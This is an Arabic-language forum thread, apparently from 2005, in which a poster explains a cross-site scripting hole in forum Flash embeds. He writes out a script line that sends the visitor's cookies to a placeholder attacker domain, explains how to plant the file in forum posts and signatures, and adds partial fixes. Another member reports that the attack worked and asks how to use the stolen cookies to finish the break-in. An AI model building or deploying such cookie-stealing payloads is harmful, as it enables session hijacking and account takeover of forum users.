ثغرة في الفلاش من جديد

[unhunterd_spy]

اخر البحوث والمستجات اخواني في منتدى زوارة


لازال الفلاش حتى تاريخ اليوم 25.10.2005 يعاني من الثغرة


كما ان التطوير الذي قام به العندليب لا زال يعاني من هذه الثغرة


والتجربة خير دليل :d


والمنتدى هذا مثل كل المنتديات الفي بي

بالاضافة الى ثغرة الصورة =))


حقوق الطبع محفوظة

[TanniT]

looooooooooolz
amnawer but i couldn`t understand any singl word
from what u have written above
Thanks anyway

[AZAR]

يا مرحبتين unhunterd_spy

انست وشرفت

هات اثبات واياك وموقعنا او كلمني على المسنجر

المهم لو بتكتب الثغرة كاملة مع الوصف نبي الترقيع قبل

مع تحياتي

[-x

[unhunterd_spy]

:~:



:>

[ZUWARA]

غري خلي ناخدو نفس اشوية بعدين نبدو في قصة الثغرات x::: x::: x:::

[unhunterd_spy]

مشكورررررررين على الردود

الثغرة من نوع
xss
cross site script

هي في كون هناك امكانية ادراج اوامر جافا سكربت داخل الفلاش نفسه وبالتالي فلايمكن منع اي امر من التنفيد
وتتلخص الفكرة باستعمال اي برنامج من برامج الفلاش مثل swich اوغيرها وتقوم بوضع كود الجافا داخله
وطبيعي ان يقوم البرنامج بمنع بعض الاوامر الخاصة بالجافا الا ان فيها مجموعة كافية من الاوامر التي تنقل التحكم من برنامج العارض الدي يقوم بتنفيذ الفلاش الى الجافا والتحكم في المتصفح ونقل اي بيانات تريدها

كيف

قم بفتح برنامج swich وانشاء ملف جديد
في خانة السكربت اكتب الاوامر التالية

onload()
avascript('document.location.r eplace(http://yourdomain/yourcode.php?u='+document.cook ie));

ثم حفظ الملف على هيئة swf

الان اصبح لديك ملف فلاش يقوم بتنفيذ اوامر الجافا بداخله

في هذا المثال استعملنا امر

javascript();
وهو يقوم بنقل المتصفح الى الموقع الذي تريد وهو محمل بالكوكيز الخاص بالمستخدم

هناك الكثير من الاوامر المفيدة مثل الامر
eval();

وهناك امر اخر
geturl();

وهذه الاومر تقوم بنقل التحكم من فلاش بلاير الى الجافا

اما استعمالها في المنتدى مثلا فهو بسيط حيث تقوم برفع الفلاش الى موقعك او اي موقع مجاني تم ادراج الوصلة في مربع الفلاش

ملاحظة يمكن استعماله في الفلاش والريل بلاير والميديا بلاير


العلاج لهذه الثغرة
هو اضافة امر منع الجافا من لوحة التحكم الى ايقونة الريل بلاير والفلاش والميديا بلاير

او ازالت هاك الصنوق السحري او الماسي واستعمال هاك الازرار الاضافية من موقع سوالف وهو من تطوير العندليب

مع العلم ان هذا الحل يفي بالغرض في حال استعمل المخترق الاوامر


geturl();
javascript();


بينما لاينفع هذا الترقيع مع الامر
eval();

وبالتالي فان الطريق الاضمن هو ازالة ايقونة الفلاش والريل والميديا
:d

هذا الفلاش المرفق يقوم بعرض الكوكيز الخاص بك
وهو يعتمد على الامر

geturl();

يمكنك تشغيله في صفحة منفصلة لترى كيف يعمل فهو لن يعمل في هذا المنتدى او استعماله في منتديات اخرى لترى ان كانت مصابة بالثغرة ام لا

فقط انسخ الكود اسفل والصقة في توقيعك او في مشاركة باي موقع تريد التاكد من كون به ثغرة

width=400 height=350

فاذا ظهر مربع الحوار فيعني ان الثغرة موجودة ولم يتم اغلاقها
اما ان توقف الفلاش دون ان يكتمل فهذا يعني انها تم سدها

http://members.lycos.co.uk/spyofzuwarah/spy.swf
ولنا عودة

[تاوالين]

شكرا على المعلومات القيمة ...[i]

[M A X]

بالله لو كان فيه كيف تشرحلنا كيف نديروا ملف اللوقو تكون درت فينا معروف

[spyhunting]

=)) قاعد شادها copy&paste من المواقع وادير فى روحك تفهم فى جو الاختراق صقع عليك ..... =))

[إزعام 2]

الباين شوره فلتوز و لا ميفهم شي ء لا أعتقد أن كلامه صحيح حسب معرفي في أساليب الأختراق .. تانميرت ..

[unhunterd_spy]

شكرا على المعلومات القيمة ...[i]
العفو احنا في الخدمة

بالله لو كان فيه كيف تشرحلنا كيف نديروا ملف اللوقو تكون درت فينا معروف

من عيوني :d ويومين ويكون هنا
قاعد شادها copy&paste من المواقع وادير فى روحك تفهم فى جو الاختراق صقع عليك
:d مش عارف ليش تفكرت الايقل11
لكن انت قولي موقعك وين وجربني

الباين شوره فلتوز و لا ميفهم شي ء لا أعتقد أن كلامه صحيح حسب معرفي في أساليب الأختراق .. تانميرت ..
؟
معرفي ؟ :-j

[temora]

ياودي امنورين ياجماعة

[uae moon]

الثغره نجحت معي ..

مع اني مركب هاك الإزرار الإضافيه المرقع

لكن ما فائدة الكوكيز ماذا افعل به ليكتمل الإختراق

يظهر لي مجرد ارقام كثيره ؟؟